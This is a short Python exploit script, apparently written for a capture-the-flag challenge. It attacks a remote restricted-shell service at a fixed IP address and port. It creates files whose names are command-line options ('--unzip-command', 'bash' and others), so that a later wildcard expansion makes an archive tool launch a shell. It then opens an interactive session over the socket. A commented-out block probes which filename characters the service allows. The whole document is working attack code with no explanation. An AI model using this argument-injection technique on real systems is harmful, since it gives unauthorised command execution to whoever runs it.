#!/usr/bin/python
import struct
import socket
import telnetlib

def readuntil(f, delim='$ '):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def p(v):
    return struct.pack('<Q', v)

def u(v):
    return struct.unpack('<Q', v)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('210.65.11.5', 4994))
f = s.makefile('rw', bufsize=0)
readuntil(f)

fs = ['--test', '--unzip-command', '\\ex', 'bash']

#fs.append('--show-command')

for fn in fs:
    f.write('touch -- %s\n' % fn.replace('\\', '\\\\'))
    readuntil(f)
f.write('ls -laF\n')
f.write('exit\n')

'''
good = []
import string
for c in string.printable:
    if c in string.whitespace:
        continue
    print 'testing %c' % c
    f.write('touch -- %s\n' % c)
    resp = readuntil(f)
    print 'Got resp:', resp.strip()
    if 'Invalid character.' not in resp:
        print 'Good:', c
        good.append(c)

print 'Good chars:', ''.join(good)
print good
'''

t = telnetlib.Telnet()
t.sock = s
t.interact()